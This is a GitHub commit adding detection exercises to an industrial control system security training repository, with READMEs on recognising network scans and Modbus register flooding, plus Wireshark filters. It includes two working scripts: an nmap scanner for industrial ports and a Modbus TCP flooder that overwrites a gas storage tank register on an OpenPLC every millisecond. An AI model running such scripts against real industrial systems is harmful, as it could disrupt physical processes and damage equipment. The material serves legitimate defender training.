Skip to content

Commit

Permalink
Added initial content for detection training (#74)
Browse files Browse the repository at this point in the history
Co-authored-by: Matthias Niedermaier <matthias.niedermaier@googlemail.com>
  • Loading branch information
mniedermaier and Matthias Niedermaier authored Oct 22, 2024
1 parent f6058d5 commit 91b8a2b
Show file tree
Hide file tree
Showing 8 changed files with 211 additions and 1 deletion.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -75,6 +75,7 @@ _autosave-*
fp-info-cache
*.lck
*auto_saved_files*
*.pyc

# Byte-compiled / optimized / DLL files
__pycache__/
Expand Down
4 changes: 3 additions & 1 deletion training/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -14,4 +14,6 @@ This recommended sequence is designed to build your knowledge progressively, lay
1. [Flood & overwrite](flood_overwrite/README.md)
1. [Password attack](password_attack/README.md)
1. [OPC-UA](opcua/README.md)
1. [Man-in-the-Middle (MitM)](mitm/README.md)
1. [Man-in-the-Middle (MitM)](mitm/README.md)
1. [Detect Basic](detect_basic/README.md)
1. [Detect Overwrite](detect_overwrite/README.md)
28 changes: 28 additions & 0 deletions training/detect_basic/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
# Detection Training - Basic
In this training, we focus on how to detect network scanning activities using PCAP (Packet Capture) data.
PCAP files capture the raw network traffic data and are valuable for the security operation center (SOC) or forensic analysis of network communications.

Attackers use different types of network scanning techniques to map out the network and gather intelligence.
Common techniques include:
1. ***Ping Sweep***:
* Attackers send ICMP Echo Requests to multiple IP addresses to determine which hosts are online.
2. ***Port Scanning***:
* Tools like Nmap are used to scan for open ports on target systems.
Common scan types include:
* SYN scan (Half-Open Scan): Sends SYN packets to check if a port is open.
* TCP Connect Scan: Establishes a full TCP connection with the target port.
* UDP Scan: Tests for open UDP ports, commonly used on industrial protocols like Modbus (port 502).
* Service Detection: Queries services running on open ports to determine their versions (e.g., OPC UA on port 4840).
3. ***Application Layer Scanning***:
* Attackers scan for specific application protocols such as Modbus, DNP3, or OPC UA by probing for industrial control protocols that indicate system roles.

Detecting and mitigating network scanning on industrial systems is a critical first step in preventing cyberattacks.
By capturing and analyzing network traffic through PCAP files, security teams can identify early signs of an attack and take appropriate action before an adversary gains deeper access to the system.

Which ports do the attacker scan?
Which ports are open, and which are closed?

<details>
<summary><strong><span style="color:orange;font-weight: 900">Solution</span></strong></summary>

</details>
64 changes: 64 additions & 0 deletions training/detect_basic/recon.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,64 @@
import nmap
import sys
import logging

# Configure logging to console (stdout)
logging.basicConfig(format='%(asctime)s - %(levelname)s - %(message)s',
level=logging.INFO,
handlers=[logging.StreamHandler()])

def scan_industrial_ports(ip):
# Create a PortScanner object
nm = nmap.PortScanner()

# Define the ports to scan: HTTP (80), Modbus (502), OPC UA (4840)
ports_to_scan = '80,102, 502,4840, 20000, 44818'

try:
# Log the start of the scan
logging.debug(f"Starting scan for IP: {ip} on ports 80, 102, 502, 4840, 20000, 44818")

# Perform a version detection scan on the specified ports
logging.debug(f"Scanning {ip} for HTTP, S7, Modbus, OPC UA, DNP3, and Ethernet/IP ports...")
nm.scan(ip, ports_to_scan, arguments='-sV')

# Check if any ports are open and print their details
if nm.all_hosts():
for host in nm.all_hosts():
host_info = f"Host: {host} ({nm[host].hostname()})\nState: {nm[host].state()}"
logging.debug(host_info)
logging.debug(host_info)

for proto in nm[host].all_protocols():
proto_info = f"\nProtocol: {proto}"
logging.debug(proto_info)

ports = nm[host][proto].keys()
for port in sorted(ports):
port_info = nm[host][proto][port]
service_info = (f"Port: {port}\tState: {port_info['state']}\n"
f"Service: {port_info['name']}\tVersion: {port_info.get('version', 'Unknown')}")
logging.debug(service_info)
else:
msg = f"No information found for IP {ip}"
logging.warning(msg)

except nmap.PortScannerError as e:
error_msg = f"Nmap error: {e}"
logging.debug(error_msg)
except Exception as e:
error_msg = f"An unexpected error occurred: {e}"
logging.debug(error_msg)

if __name__ == "__main__":
if len(sys.argv) != 2:
logging.error("Usage: python3 recon.py <IP Address of the Target>")
sys.exit(1)

# Get the IP address from the command-line arguments
ip_address = sys.argv[1]

# Run the scan
logging.info("Recon started")
scan_industrial_ports(ip_address)
logging.info("Recon finished")
1 change: 1 addition & 0 deletions training/detect_basic/requirements.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
python-nmap
67 changes: 67 additions & 0 deletions training/detect_overwrite/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
# Detection Training - Override

One common attack is Modbus TCP register flooding, where an attacker sends a continuous stream of malicious Modbus commands to overwrite or spoof register values.
This can disrupt processes, cause equipment failure, or provide incorrect data to operators.
This training focuses on how to detect this type of attack by analyzing network traffic and monitoring system behavior.

## Indicators of Modbus Flooding Attacks
Detecting Modbus flooding and register overwriting attacks requires understanding how normal Modbus traffic behaves and recognizing anomalies in the communication pattern. Key indicators include:

1. ***High Frequency of Modbus Write Requests***

Modbus systems typically have a stable frequency of write operations. A sudden spike in write requests, particularly to the same registers, is a sign of flooding. Monitor for:
Unusual write frequencies: Multiple write commands to the same register in a short time span.
Repeated overwrites: The same register being modified continuously.

2. ***Unexplained Process Values Changes***

When a Modbus register is being spoofed, the values stored in registers might change frequently without corresponding physical events. For example:
A temperature sensor reports fluctuating values despite stable environmental conditions.
Equipment parameters (e.g., pressure, motor speed) are altered without operator action.

3. ***Unusual Source IPs or Unauthorized Devices***

Flooding may come from unauthorized IP addresses or devices not normally involved in the communication. Look for:
Write commands originating from unknown sources.
Devices sending Modbus traffic that do not typically perform write operations.

4. ***Network Traffic Abnormalities***

Flooding often generates a high volume of packets, potentially leading to congestion or delays in legitimate traffic. Watch for:
* Unusually high Modbus traffic: A sharp increase in Modbus TCP packets on the network.
* Packet loss: Legitimate Modbus traffic may be delayed or dropped due to the attack.

***Questions:***
* What is happening with the physical process?
* What can you observe within the network capture?

***!!! Execute the python script without looking into it !!!***

```sh
python3 override.py <DEVICE_IP>
```

<details>
<summary><strong><span style="color:orange;font-weight: 900">Solution</span></strong></summary>

* ***Modbus Filter:***

To filter only Modbus traffic, use the following filter in Wireshark:

```sh
tcp.port == 502
```

* ***Identifying Excessive Write Requests:***

Apply a filter for Modbus function codes responsible for writing registers:
```sh
modbus.func_code == 6 || modbus.func_code == 16
```
Look for a large number of write requests to the same register (e.g., modbus.reference_num indicates the register address).

* ***IO Graphs:***

Use Wireshark's IO Graphs to visualize the traffic over time. A spike in the number of write requests is a strong indicator of flooding.
</details>
46 changes: 46 additions & 0 deletions training/detect_overwrite/override.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
#!/usr/bin/env python3
import time
from pymodbus.client import ModbusTcpClient
import sys
import logging

# Configure logging to console (stdout)
logging.basicConfig(format='%(asctime)s - %(levelname)s - %(message)s',
level=logging.DEBUG,
handlers=[logging.StreamHandler()])

# Value of high pressure tank (HPT), which should be flooded
gst = 1


def scan_industrial_ports(ip):
# Connect to ModbusTCP of the OpenPLC
client = ModbusTcpClient(host=ip,port=502) # Create client object
client.connect() # connect to device, reconnect automatically

# While true loop for flooding
while True:
logging.debug("Setting GST state to fixed value " + str(gst))

client.write_registers(1124,gst) #(register, value, unit)

time.sleep(0.001)

client.close() # Disconnect device
print
if __name__ == "__main__":
if len(sys.argv) != 2:
logging.error("Usage: python3 override.py <IP Address of the Target>")
sys.exit(1)

# Get the IP address from the command-line arguments
ip_address = sys.argv[1]

logging.debug("This script will flood the value of the gas storage tank (GST) of the OpenPLC")
logging.debug("Flodding IP: " + str(ip_address))

# Run the scan
logging.info("Attack started")
time.sleep(2)
scan_industrial_ports(ip_address)
logging.info("Attack finished")
1 change: 1 addition & 0 deletions training/detect_overwrite/requirements.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
pymodbus

0 comments on commit 91b8a2b

Please sign in to comment.